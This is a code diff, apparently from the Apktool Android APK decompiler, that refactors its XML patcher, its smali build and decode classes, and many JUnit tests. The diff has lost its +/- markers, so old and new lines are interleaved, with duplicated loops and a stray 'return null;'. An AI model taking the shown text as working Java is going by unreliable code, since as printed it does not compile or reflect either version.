XPathExpression expression = xPath.compile("/manifest/application/provider");
Object result = expression.evaluate(doc, XPathConstants.NODESET);
NodeList nodes = (NodeList) result;
Object result = expression.evaluate(doc, XPathConstants.NODESET);
NodeList nodes = (NodeList) result;
for (int i = 0; i < nodes.getLength(); i++) {
Node node = nodes.item(i);
NamedNodeMap attrs = node.getAttributes();
Node provider = attrs.getNamedItem("android:authorities");
boolean saved = false;
if (provider != null) {
saved = isSaved(file, saved, provider);
}
for (int i = 0; i < nodes.getLength(); i++) {
Node node = nodes.item(i);
NamedNodeMap attrs = node.getAttributes();
Node provider = attrs.getNamedItem("android:authorities");
if (provider != null) {
saved = isSaved(file, saved, provider);
}
// android:scheme
xPath = XPathFactory.newInstance().newXPath();
expression = xPath.compile("/manifest/application/activity/intent-filter/data");
result = expression.evaluate(doc, XPathConstants.NODESET);
nodes = (NodeList) result;
for (int i = 0; i < nodes.getLength(); i++) {
Node node = nodes.item(i);
NamedNodeMap attrs = node.getAttributes();
Node provider = attrs.getNamedItem("android:scheme");
if (provider != null) {
saved = isSaved(file, saved, provider);
}
}
if (saved) {
saveDocument(file, doc);
}
} catch (SAXException | ParserConfigurationException | IOException |
XPathExpressionException | TransformerException ignored) {
}
// android:scheme
xPath = XPathFactory.newInstance().newXPath();
expression = xPath.compile("/manifest/application/activity/intent-filter/data");
result = expression.evaluate(doc, XPathConstants.NODESET);
nodes = (NodeList) result;
for (int i = 0; i < nodes.getLength(); i++) {
Node node = nodes.item(i);
NamedNodeMap attrs = node.getAttributes();
Node provider = attrs.getNamedItem("android:scheme");
if (provider != null) {
saved = isSaved(file, saved, provider);
}
}
if (saved) {
saveDocument(file, doc);
}
} catch (SAXException | ParserConfigurationException | IOException
| XPathExpressionException | TransformerException ignored) {
}
}
@ -254,23 +259,20 @@ public final class ResXmlPatcher {
File file = new File(directory, "/res/values/strings.xml");
key = key.replace("@string/", "");
if (file.exists()) {
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
XPathExpression expression = xPath.compile("/resources/string[@name=" + '"' + key + "\"]/text()");
Object result = expression.evaluate(doc, XPathConstants.STRING);
if (result != null) {
return (String) result;
}
} catch (SAXException | ParserConfigurationException | IOException | XPathExpressionException ignored) {
}
if (!file.exists()) {
return null;
}
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
XPathExpression expression = xPath.compile("/resources/string[@name=\"" + key + "\"]/text()");
return null;
Object result = expression.evaluate(doc, XPathConstants.STRING);
return result != null ? (String) result : null;
} catch (SAXException | ParserConfigurationException | IOException | XPathExpressionException ignored) {
return null;
}
}
/**
@ -288,23 +290,20 @@ public final class ResXmlPatcher {
File file = new File(directory, "/res/values/integers.xml");
key = key.replace("@integer/", "");
if (file.exists()) {
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
XPathExpression expression = xPath.compile("/resources/integer[@name=" + '"' + key + "\"]/text()");
Object result = expression.evaluate(doc, XPathConstants.STRING);
if (result != null) {
return (String) result;
}
} catch (SAXException | ParserConfigurationException | IOException | XPathExpressionException ignored) {
}
if (!file.exists()) {
return null;
}
try {
Document doc = loadDocument(file);
XPath xPath = XPathFactory.newInstance().newXPath();
XPathExpression expression = xPath.compile("/resources/integer[@name=\"" + key + "\"]/text()");
return null;
Object result = expression.evaluate(doc, XPathConstants.STRING);
return result != null ? (String) result : null;
} catch (SAXException | ParserConfigurationException | IOException | XPathExpressionException ignored) {
return null;
}
}
/**
@ -313,24 +312,25 @@ public final class ResXmlPatcher {
* @param file File representing AndroidManifest.xml
*/
public static void removeManifestVersions(File file) {
if (file.exists()) {
try {
Document doc = loadDocument(file);
Node manifest = doc.getFirstChild();
NamedNodeMap attr = manifest.getAttributes();
Node vCode = attr.getNamedItem("android:versionCode");
Node vName = attr.getNamedItem("android:versionName");
if (!file.exists()) {
return;
}
try {
Document doc = loadDocument(file);
Node manifest = doc.getFirstChild();
NamedNodeMap attr = manifest.getAttributes();
Node vCode = attr.getNamedItem("android:versionCode");
Node vName = attr.getNamedItem("android:versionName");
if (vCode != null) {
attr.removeNamedItem("android:versionCode");
}
if (vName != null) {
attr.removeNamedItem("android:versionName");
}
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
if (vCode != null) {
attr.removeNamedItem("android:versionCode");
}
if (vName != null) {
attr.removeNamedItem("android:versionName");
}
saveDocument(file, doc);
} catch (SAXException | ParserConfigurationException | IOException | TransformerException ignored) {
}
}

View File

@ -20,7 +20,6 @@ import brut.androlib.exceptions.AndrolibException;
import brut.androlib.mod.SmaliMod;
import brut.directory.DirectoryException;
import brut.directory.ExtFile;
import org.antlr.runtime.RecognitionException;
import com.android.tools.smali.dexlib2.Opcodes;
import com.android.tools.smali.dexlib2.writer.builder.DexBuilder;
import com.android.tools.smali.dexlib2.writer.io.FileDataStore;
@ -31,12 +30,12 @@ import java.util.logging.Logger;
public class SmaliBuilder {
public static void build(ExtFile smaliDir, File dexFile, int apiLevel) throws AndrolibException {
public static void build(File smaliDir, File dexFile, int apiLevel) throws AndrolibException {
new SmaliBuilder(smaliDir, dexFile, apiLevel).build();
}
private SmaliBuilder(ExtFile smaliDir, File dexFile, int apiLevel) {
mSmaliDir = smaliDir;
private SmaliBuilder(File smaliDir, File dexFile, int apiLevel) {
mSmaliDir = new ExtFile(smaliDir);
mDexFile = dexFile;
mApiLevel = apiLevel;
}
@ -53,29 +52,35 @@ public class SmaliBuilder {
for (String fileName : mSmaliDir.getDirectory().getFiles(true)) {
buildFile(fileName, dexBuilder);
}
dexBuilder.writeTo(new FileDataStore( new File(mDexFile.getAbsolutePath())));
} catch (IOException | DirectoryException ex) {
throw new AndrolibException(ex);
dexBuilder.writeTo(new FileDataStore(new File(mDexFile.getAbsolutePath())));
} catch (DirectoryException | IOException | RuntimeException ex) {
throw new AndrolibException("Could not smali folder: " + mSmaliDir.getName(), ex);
}
}
private void buildFile(String fileName, DexBuilder dexBuilder)
throws AndrolibException, IOException {
File inFile = new File(mSmaliDir, fileName);
InputStream inStream = Files.newInputStream(inFile.toPath());
if (fileName.endsWith(".smali")) {
try {
if (!SmaliMod.assembleSmaliFile(inFile, dexBuilder, mApiLevel, false, false)) {
throw new AndrolibException("Could not smali file: " + fileName);
}
} catch (IOException | RecognitionException ex) {
throw new AndrolibException(ex);
}
} else {
LOGGER.warning("Unknown file type, ignoring: " + inFile);
private void buildFile(String fileName, DexBuilder dexBuilder) throws AndrolibException {
if (!fileName.endsWith(".smali")) {
LOGGER.warning("Unknown file type, ignoring: " + fileName);
return;
}
boolean success;
Exception cause;
try {
File inFile = new File(mSmaliDir, fileName);
success = SmaliMod.assembleSmaliFile(inFile, dexBuilder, mApiLevel, false, false);
cause = null;
} catch (Exception ex) {
success = false;
cause = ex;
}
if (!success) {
AndrolibException ex = new AndrolibException("Could not smali file: " + fileName);
if (cause != null) {
ex.initCause(cause);
}
throw ex;
}
inStream.close();
}
private final ExtFile mSmaliDir;

View File

@ -39,7 +39,7 @@ public class SmaliDecoder {
private SmaliDecoder(File apkFile, File outDir, String dexName, boolean bakDeb, int apiLevel) {
mApkFile = apkFile;
mOutDir = outDir;
mDexFile = dexName;
mDexName = dexName;
mBakDeb = bakDeb;
mApiLevel = apiLevel;
}
@ -76,7 +76,7 @@ public class SmaliDecoder {
if (container.getDexEntryNames().size() == 1) {
dexEntry = container.getEntry(container.getDexEntryNames().get(0));
} else {
dexEntry = container.getEntry(mDexFile);
dexEntry = container.getEntry(mDexName);
}
// Double-check the passed param exists
@ -100,13 +100,13 @@ public class SmaliDecoder {
return dexFile;
} catch (IOException ex) {
throw new AndrolibException(ex);
throw new AndrolibException("Could not baksmali file: " + mDexName, ex);
}
}
private final File mApkFile;
private final File mOutDir;
private final String mDexFile;
private final String mDexName;
private final boolean mBakDeb;
private final int mApiLevel;
}

View File

@ -38,22 +38,6 @@ import static org.junit.Assert.*;
public class BaseTest {
protected void compareUnknownFiles() throws BrutException {
ApkInfo control = ApkInfo.load(sTestOrigDir);
ApkInfo test = ApkInfo.load(sTestNewDir);
assertNotNull(control.unknownFiles);
assertNotNull(test.unknownFiles);
Map<String, String> controlFiles = control.unknownFiles;
Map<String, String> testFiles = test.unknownFiles;
assertEquals(controlFiles.size(), testFiles.size());
// Make sure that the compression methods are still the same
for (Map.Entry<String, String> controlEntry : controlFiles.entrySet()) {
assertEquals(controlEntry.getValue(), testFiles.get(controlEntry.getKey()));
}
}
protected void compareBinaryFolder(String path, boolean res) throws BrutException, IOException {
boolean exists = true;
@ -67,10 +51,10 @@ public class BaseTest {
FileDirectory fileDirectory = new FileDirectory(sTestOrigDir, location);
Set<String> files = fileDirectory.getFiles(true);
for (String filename : files) {
for (String fileName : files) {
File control = new File((sTestOrigDir + location), filename);
File test = new File((sTestNewDir + location), filename);
File control = new File((sTestOrigDir + location), fileName);
File test = new File((sTestNewDir + location), fileName);
if (! test.isFile() || ! control.isFile()) {
exists = false;
@ -92,6 +76,10 @@ public class BaseTest {
compareBinaryFolder(File.separatorChar + "assets" + File.separatorChar + path, false);
}
protected void compareUnknownFiles() throws BrutException, IOException {
compareBinaryFolder(File.separatorChar + "unknown", false);
}
protected void compareValuesFiles(String path) throws BrutException {
compareXmlFiles("res/" + path, new ElementNameAndAttributeQualifier("name"));
}

View File

@ -39,7 +39,7 @@ public class AndroidOreoNotSparseTest extends BaseTest {
LOGGER.info("Unpacking not_sparse.apk...");
TestUtils.copyResourceDir(AndroidOreoNotSparseTest.class, "aapt1/issue1594", sTestOrigDir);
File testApk = new File(sTestOrigDir, "not_sparse.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "not_sparse.apk");
LOGGER.info("Decoding not_sparse.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -47,8 +47,8 @@ public class AndroidOreoNotSparseTest extends BaseTest {
LOGGER.info("Building not_sparse.apk...");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestNewDir).build(testApk);
config.aaptVersion = 1;
new ApkBuilder(sTestNewDir, config).build(testApk);
}
@AfterClass

View File

@ -39,7 +39,7 @@ public class AndroidOreoSparseTest extends BaseTest {
LOGGER.info("Unpacking sparse.apk...");
TestUtils.copyResourceDir(AndroidOreoSparseTest.class, "aapt1/issue1594", sTestOrigDir);
File testApk = new File(sTestOrigDir, "sparse.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "sparse.apk");
LOGGER.info("Decoding sparse.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -47,8 +47,8 @@ public class AndroidOreoSparseTest extends BaseTest {
LOGGER.info("Building sparse.apk...");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestNewDir).build(testApk);
config.aaptVersion = 1;
new ApkBuilder(sTestNewDir, config).build(testApk);
}
@AfterClass

View File

@ -40,10 +40,10 @@ public class BuildAndDecodeJarTest extends BaseTest {
TestUtils.copyResourceDir(BuildAndDecodeJarTest.class, "aapt1/testjar/", sTestOrigDir);
LOGGER.info("Building testjar.jar...");
File testJar = new File(sTmpDir, "testjar.jar");
ExtFile testJar = new ExtFile(sTmpDir, "testjar.jar");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestOrigDir).build(testJar);
config.aaptVersion = 1;
new ApkBuilder(sTestOrigDir, config).build(testJar);
LOGGER.info("Decoding testjar.jar...");
ApkDecoder apkDecoder = new ApkDecoder(testJar);

View File

@ -48,10 +48,10 @@ public class BuildAndDecodeTest extends BaseTest {
TestUtils.copyResourceDir(BuildAndDecodeTest.class, "aapt1/testapp/", sTestOrigDir);
LOGGER.info("Building testapp.apk...");
File testApk = new File(sTmpDir, "testapp.apk");
ExtFile testApk = new ExtFile(sTmpDir, "testapp.apk");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestOrigDir).build(testApk);
config.aaptVersion = 1;
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding testapp.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -540,7 +540,7 @@ public class BuildAndDecodeTest extends BaseTest {
}
@Test
public void unknownFolderTest() throws BrutException {
public void unknownFolderTest() throws BrutException, IOException {
compareUnknownFiles();
}

View File

@ -48,11 +48,11 @@ public class DebugTagRetainedTest extends BaseTest {
LOGGER.info("Building issue1235.apk...");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
config.aaptVersion = 1;
config.debugMode = true;
File testApk = new File(sTmpDir, "issue1235.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "issue1235.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding issue1235.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -42,10 +42,10 @@ public class DefaultBaksmaliVariableTest extends BaseTest {
TestUtils.copyResourceDir(DefaultBaksmaliVariableTest.class, "aapt1/issue1481/", sTestOrigDir);
LOGGER.info("Building issue1481.jar...");
File testJar = new File(sTmpDir, "issue1481.jar");
ExtFile testJar = new ExtFile(sTmpDir, "issue1481.jar");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestOrigDir).build(testJar);
config.aaptVersion = 1;
new ApkBuilder(sTestOrigDir, config).build(testJar);
LOGGER.info("Decoding issue1481.jar...");
ApkDecoder apkDecoder = new ApkDecoder(testJar);

View File

@ -42,7 +42,7 @@ public class EmptyResourcesArscTest {
LOGGER.info("Unpacking issue1730.apk...");
TestUtils.copyResourceDir(EmptyResourcesArscTest.class, "aapt1/issue1730", sTestOrigDir);
File testApk = new File(sTestOrigDir, "issue1730.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "issue1730.apk");
LOGGER.info("Decoding issue1730.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -50,8 +50,8 @@ public class EmptyResourcesArscTest {
LOGGER.info("Building issue1730.apk...");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestNewDir).build(testApk);
config.aaptVersion = 1;
new ApkBuilder(sTestNewDir, config).build(testApk);
}
@AfterClass

View File

@ -39,10 +39,10 @@ public class ExternalEntityTest extends BaseTest {
TestUtils.copyResourceDir(ExternalEntityTest.class, "decode/doctype/", sTestOrigDir);
LOGGER.info("Building doctype.apk...");
File testApk = new File(sTestOrigDir, "doctype.apk");
ExtFile testApk = new ExtFile(sTestOrigDir, "doctype.apk");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, sTestOrigDir).build(testApk);
config.aaptVersion = 1;
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding doctype.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -44,7 +44,7 @@ public class LargeIntsInManifestTest extends BaseTest {
String apk = "issue767.apk";
// decode issue767.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
File outDir = new File(sTmpDir + File.separator + apk + ".out");
@ -52,13 +52,13 @@ public class LargeIntsInManifestTest extends BaseTest {
// build issue767
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
config.aaptVersion = 1;
ExtFile testApk = new ExtFile(sTmpDir, apk + ".out");
new ApkBuilder(config, testApk).build(null);
new ApkBuilder(testApk, config).build(null);
String newApk = apk + ".out" + File.separator + "dist" + File.separator + apk;
// decode issue767 again
apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + newApk));
apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + newApk));
sTestNewDir = new ExtFile(sTmpDir + File.separator + apk + ".out.two");
outDir = new File(sTmpDir + File.separator + apk + ".out.two");

View File

@ -53,20 +53,20 @@ public class ProviderAttributeTest extends BaseTest {
String apk = "issue636.apk";
// decode issue636.apk
ApkDecoder apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk));
File outDir = new File(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(outDir);
// build issue636
ExtFile testApk = new ExtFile(sTmpDir, apk + ".out");
Config config = Config.getDefaultConfig();
config.useAapt2 = false;
new ApkBuilder(config, testApk).build(null);
config.aaptVersion = 1;
new ApkBuilder(testApk, config).build(null);
String newApk = apk + ".out" + File.separator + "dist" + File.separator + apk;
assertTrue(fileExists(newApk));
// decode issues636 again
apkDecoder = new ApkDecoder(new File(sTmpDir + File.separator + newApk));
apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + newApk));
outDir = new File(sTmpDir + File.separator + apk + ".out.two");
apkDecoder.decode(outDir);

View File

@ -81,30 +81,30 @@ public class SharedLibraryTest extends BaseTest {
Config config = Config.getDefaultConfig();
config.frameworkDirectory = sTmpDir.getAbsolutePath();
config.frameworkTag = "shared";
config.useAapt2 = false;
config.aaptVersion = 1;
// install library/framework
new Framework(config).installFramework(new File(sTmpDir + File.separator + library));
assertTrue(fileExists("2-shared.apk"));
// decode client.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new ExtFile(sTmpDir + File.separator + client));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + client), config);
File outDir = new File(sTmpDir + File.separator + client + ".out");
apkDecoder.decode(outDir);
// decode library.apk
ApkDecoder libraryDecoder = new ApkDecoder(config, new ExtFile(sTmpDir + File.separator + library));
ApkDecoder libraryDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + library), config);
outDir = new File(sTmpDir + File.separator + library + ".out");
libraryDecoder.decode(outDir);
// build client.apk
ExtFile clientApk = new ExtFile(sTmpDir, client + ".out");
new ApkBuilder(config, clientApk).build(null);
new ApkBuilder(clientApk, config).build(null);
assertTrue(fileExists(client + ".out" + File.separator + "dist" + File.separator + client));
// build library.apk (shared library)
ExtFile libraryApk = new ExtFile(sTmpDir, library + ".out");
new ApkBuilder(config, libraryApk).build(null);
new ApkBuilder(libraryApk, config).build(null);
assertTrue(fileExists(library + ".out" + File.separator + "dist" + File.separator + library));
}

View File

@ -52,7 +52,7 @@ public class SkipAssetTest extends BaseTest {
config.forceDelete = true;
// decode issue1605.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new ExtFile(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(sTestOrigDir);
@ -69,7 +69,7 @@ public class SkipAssetTest extends BaseTest {
config.forceDelete = true;
// decode issue1605.apk
ApkDecoder apkDecoder = new ApkDecoder(config, new ExtFile(sTmpDir + File.separator + apk));
ApkDecoder apkDecoder = new ApkDecoder(new ExtFile(sTmpDir + File.separator + apk), config);
sTestOrigDir = new ExtFile(sTmpDir + File.separator + apk + ".out");
apkDecoder.decode(sTestOrigDir);

View File

@ -42,7 +42,7 @@ public class UnknownCompressionTest extends BaseTest {
String apk = "deflated_unknowns.apk";
Config config = Config.getDefaultConfig();
config.frameworkDirectory = sTmpDir.getAbsolutePath();
config.useAapt2 = false;
config.aaptVersion = 1;
sTestOrigDir = new ExtFile(sTmpDir, apk);
@ -54,7 +54,7 @@ public class UnknownCompressionTest extends BaseTest {
// build deflated_unknowns
ExtFile clientApkFolder = new ExtFile(sTestOrigDir.getAbsolutePath() + ".out");
new ApkBuilder(config, clientApkFolder).build(null);
new ApkBuilder(clientApkFolder, config).build(null);
sTestNewDir = new ExtFile(clientApkFolder, "dist" + File.separator + apk);
}
@ -71,7 +71,7 @@ public class UnknownCompressionTest extends BaseTest {
// Check that control = rebuilt (both deflated)
// Add extra check for checking not equal to 0, just in case control gets broken
assertEquals(control, rebuilt);
assertNotSame(0, rebuilt);
assertNotSame(Integer.valueOf(0), rebuilt);
}
@Test
@ -95,11 +95,11 @@ public class UnknownCompressionTest extends BaseTest {
}
@Test
public void confirmPngFileIsCorrectlyDeflatedTest() throws BrutException, IOException {
public void confirmPngFileIsStoredTest() throws BrutException, IOException {
Integer control = sTestOrigDir.getDirectory().getCompressionLevel("950x150.png");
Integer rebuilt = sTestNewDir.getDirectory().getCompressionLevel("950x150.png");
assertEquals(control, rebuilt);
assertEquals(Integer.valueOf(8), rebuilt);
assertNotSame(control, rebuilt);
assertEquals(Integer.valueOf(0), rebuilt);
}
}

View File

@ -49,12 +49,11 @@ public class BuildAndDecodeTest extends BaseTest {
TestUtils.copyResourceDir(BuildAndDecodeTest.class, "aapt2/testapp/", sTestOrigDir);
Config config = Config.getDefaultConfig();
config.useAapt2 = true;
config.verbose = true;
LOGGER.info("Building testapp.apk...");
File testApk = new File(sTmpDir, "testapp.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "testapp.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding testapp.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);
@ -135,7 +134,7 @@ public class BuildAndDecodeTest extends BaseTest {
}
@Test
public void samsungQmgFilesHandledTest() throws IOException, BrutException {
public void samsungQmgFilesHandledTest() throws BrutException, IOException {
compareBinaryFolder("drawable-xhdpi", true);
}
@ -175,7 +174,7 @@ public class BuildAndDecodeTest extends BaseTest {
}
@Test
public void unknownFolderTest() throws BrutException {
public void unknownFolderTest() throws BrutException, IOException {
compareUnknownFiles();
}

View File

@ -49,11 +49,10 @@ public class DebuggableFalseChangeToTrueTest extends BaseTest {
LOGGER.info("Building issue2328-debuggable-flase.apk...");
Config config = Config.getDefaultConfig();
config.debugMode = true;
config.useAapt2 = true;
config.verbose = true;
File testApk = new File(sTmpDir, "issue2328-debuggable-flase.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "issue2328-debuggable-flase.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding issue2328-debuggable-flase.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -49,11 +49,10 @@ public class DebuggableTrueAddedTest extends BaseTest {
LOGGER.info("Building issue2328-debuggable-missing.apk...");
Config config = Config.getDefaultConfig();
config.debugMode = true;
config.useAapt2 = true;
config.verbose = true;
File testApk = new File(sTmpDir, "issue2328-debuggable-missing.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "issue2328-debuggable-missing.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding issue2328-debuggable-missing.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -49,11 +49,10 @@ public class DebuggableTrueRetainedTest extends BaseTest {
LOGGER.info("Building issue2328-debuggable-true.apk...");
Config config = Config.getDefaultConfig();
config.debugMode = true;
config.useAapt2 = true;
config.verbose = true;
File testApk = new File(sTmpDir, "issue2328-debuggable-true.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "issue2328-debuggable-true.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding issue2328-debuggable-true.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -53,9 +53,8 @@ public class NetworkConfigTest extends BaseTest {
LOGGER.info("Building testapp.apk...");
Config config = Config.getDefaultConfig();
config.netSecConf = true;
config.useAapt2 = true;
File testApk = new File(sTmpDir, "testapp.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "testapp.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding testapp.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -55,9 +55,8 @@ public class NoNetworkConfigTest extends BaseTest {
LOGGER.info("Building testapp.apk...");
Config config = Config.getDefaultConfig();
config.netSecConf = true;
config.useAapt2 = true;
File testApk = new File(sTmpDir, "testapp.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
ExtFile testApk = new ExtFile(sTmpDir, "testapp.apk");
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding testapp.apk...");
ApkDecoder apkDecoder = new ApkDecoder(testApk);

View File

@ -45,12 +45,11 @@ public class NonStandardPkgIdTest extends BaseTest {
TestUtils.copyResourceDir(BuildAndDecodeTest.class, "aapt2/pkgid8/", sTestOrigDir);
Config config = Config.getDefaultConfig();
config.useAapt2 = true;
config.verbose = true;
LOGGER.info("Building pkgid8.apk...");
ExtFile testApk = new ExtFile(sTmpDir, "pkgid8.apk");
new ApkBuilder(config, sTestOrigDir).build(testApk);
new ApkBuilder(sTestOrigDir, config).build(testApk);
LOGGER.info("Decoding pkgid8.apk...");
ApkInfo testInfo = new ApkInfo(testApk);

View File

@ -25,17 +25,16 @@ public class ApkInfoReaderTest {
private void checkStandard(ApkInfo apkInfo) {
assertEquals("standard.apk", apkInfo.apkFileName);
assertFalse(apkInfo.resourcesAreCompressed);
assertEquals(1, apkInfo.doNotCompress.size());
assertEquals("resources.arsc", apkInfo.doNotCompress.iterator().next());
assertEquals("arsc", apkInfo.doNotCompress.iterator().next());
assertFalse(apkInfo.isFrameworkApk);
assertNotNull(apkInfo.packageInfo);
assertEquals("127", apkInfo.packageInfo.forcedPackageId);
assertNull(apkInfo.packageInfo.renameManifestPackage);
assertNotNull(apkInfo.getSdkInfo());
assertEquals(2, apkInfo.getSdkInfo().size());
assertEquals("25", apkInfo.getSdkInfo().get("minSdkVersion"));
assertEquals("30", apkInfo.getSdkInfo().get("targetSdkVersion"));
assertNotNull(apkInfo.sdkInfo);
assertEquals(2, apkInfo.sdkInfo.size());
assertEquals("25", apkInfo.sdkInfo.get("minSdkVersion"));
assertEquals("30", apkInfo.sdkInfo.get("targetSdkVersion"));
assertFalse(apkInfo.sharedLibrary);
assertFalse(apkInfo.sparseResources);
assertNotNull(apkInfo.usesFramework);
@ -95,22 +94,13 @@ public class ApkInfoReaderTest {
assertNotNull(apkInfo.versionInfo);
assertEquals("1", apkInfo.versionInfo.versionCode);
assertEquals("1.0", apkInfo.versionInfo.versionName);
assertFalse(apkInfo.resourcesAreCompressed);
assertNotNull(apkInfo.doNotCompress);
assertEquals(4, apkInfo.doNotCompress.size());
assertEquals(5, apkInfo.doNotCompress.size());
assertEquals("assets/0byte_file.jpg", apkInfo.doNotCompress.get(0));
assertEquals("arsc", apkInfo.doNotCompress.get(1));
assertEquals("png", apkInfo.doNotCompress.get(2));
assertEquals("mp3", apkInfo.doNotCompress.get(3));
assertNotNull(apkInfo.unknownFiles);
assertEquals(7, apkInfo.unknownFiles.size());
assertEquals("8", apkInfo.unknownFiles.get("AssetBundle/assets/a.txt"));
assertEquals("8", apkInfo.unknownFiles.get("AssetBundle/b.txt"));
assertEquals("8", apkInfo.unknownFiles.get("hidden.file"));
assertEquals("8", apkInfo.unknownFiles.get("non\u007Fprintable.file"));
assertEquals("0", apkInfo.unknownFiles.get("stored.file"));
assertEquals("8", apkInfo.unknownFiles.get("unk_folder/unknown_file"));
assertEquals("8", apkInfo.unknownFiles.get("lib_bug603/bug603"));
assertEquals("stored.file", apkInfo.doNotCompress.get(4));
}
@Test
@ -127,22 +117,19 @@ public class ApkInfoReaderTest {
assertNotNull(apkInfo.packageInfo);
assertEquals("127", apkInfo.packageInfo.forcedPackageId);
assertEquals("com.test.basic", apkInfo.packageInfo.renameManifestPackage);
assertNotNull(apkInfo.getSdkInfo());
assertEquals(3, apkInfo.getSdkInfo().size());
assertEquals("4", apkInfo.getSdkInfo().get("minSdkVersion"));
assertEquals("30", apkInfo.getSdkInfo().get("maxSdkVersion"));
assertEquals("22", apkInfo.getSdkInfo().get("targetSdkVersion"));
assertNotNull(apkInfo.sdkInfo);
assertEquals(3, apkInfo.sdkInfo.size());
assertEquals("4", apkInfo.sdkInfo.get("minSdkVersion"));
assertEquals("30", apkInfo.sdkInfo.get("maxSdkVersion"));
assertEquals("22", apkInfo.sdkInfo.get("targetSdkVersion"));
assertFalse(apkInfo.sharedLibrary);
assertTrue(apkInfo.sparseResources);
assertNotNull(apkInfo.unknownFiles);
assertEquals(1, apkInfo.unknownFiles.size());
assertEquals("1", apkInfo.unknownFiles.get("hidden.file"));
assertNotNull(apkInfo.versionInfo);
assertEquals("71", apkInfo.versionInfo.versionCode);
assertEquals("1.0.70", apkInfo.versionInfo.versionName);
assertNotNull(apkInfo.doNotCompress);
assertEquals(2, apkInfo.doNotCompress.size());
assertEquals("resources.arsc", apkInfo.doNotCompress.get(0));
assertEquals("arsc", apkInfo.doNotCompress.get(0));
assertEquals("png", apkInfo.doNotCompress.get(1));
}
}

View File

@ -37,7 +37,7 @@ public class ApkInfoSerializationTest {
this.getClass().getResourceAsStream("/apk/unknown_files.yml"));
check(control);
File savedApkInfo = folder.newFile( "saved.yml" );
File savedApkInfo = folder.newFile("saved.yml");
control.save(savedApkInfo);
try (FileInputStream fis = new FileInputStream(savedApkInfo)) {
ApkInfo saved = ApkInfo.load(fis);
@ -57,21 +57,12 @@ public class ApkInfoSerializationTest {
assertNotNull(apkInfo.versionInfo);
assertEquals("1", apkInfo.versionInfo.versionCode);
assertEquals("1.0", apkInfo.versionInfo.versionName);
assertFalse(apkInfo.resourcesAreCompressed);
assertNotNull(apkInfo.doNotCompress);
assertEquals(4, apkInfo.doNotCompress.size());
assertEquals(5, apkInfo.doNotCompress.size());
